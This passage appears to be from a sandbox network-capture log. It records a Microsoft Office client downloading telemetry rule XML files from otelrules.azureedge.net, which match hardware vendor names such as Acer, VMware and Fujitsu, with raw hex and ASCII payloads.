R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	62849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:00 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:00 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:00 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 73421f5c-b01e-001e-1796-2a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162700Z-159b85dff8fsgrl7hC1DFWadan00000002d0000000008cqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:00 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	62850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:01 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:01 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:01 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 89d7e9f4-d01e-0066-46a8-2aea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162701Z-16849878b78q9m8bqvwuva4svc000000089g00000000fc80 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:01 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	62852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:01 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:01 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:01 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 9a09e836-e01e-0052-3cae-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162701Z-16849878b78j7llf5vkyvvcehs0000000axg0000000062n9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:01 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	62853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:01 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:01 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 09de4432-901e-0064-2428-27e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162701Z-17c5cb586f6zcqf8r7the4ske0000000023g00000000b295 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:01 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	62854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:01 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:01 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 647ea265-801e-0067-10e5-29fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162701Z-17c5cb586f626sn8grcgm1gf80000000085g00000000hk3m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:01 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	62851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:01 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:01 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:01 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6484a1a6-201e-0000-75a3-26a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162701Z-16849878b78p49s6zkwt11bbkn00000009g0000000006027 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:01 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	62855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:02 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:02 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: bf2855ec-b01e-0084-57b7-2ad736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162702Z-16849878b785dznd7xpawq9gcn0000000b5000000000enb6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	62856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:02 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:02 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:02 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 5fd3a61a-e01e-0071-0feb-2a08e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162702Z-16849878b78fhxrnedubv5byks0000000860000000003ur2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:02 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	62857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:02 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:02 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1abafd92-601e-0070-072b-27a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162702Z-16849878b78bcpfn2qf7sm6hsn0000000bbg00000000hdcb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:02 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	62859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:02 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:03 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:02 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 67fffc2c-401e-000a-5dae-264a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162702Z-16849878b78q9m8bqvwuva4svc00000008cg000000003150 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:03 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	62858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:02 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:02 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:02 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: ebbbec6e-b01e-0021-1c83-29cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162702Z-17c5cb586f6wnfhvhw6gvetfh4000000098000000000e47t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 16:27:02 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	62863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 16:27:03 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 16:27:03 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 16:27:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2760be74-301e-0096-200b-26e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T162703Z-16849878b78bjkl8dpep89pbgg00000008dg00000000nkcv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
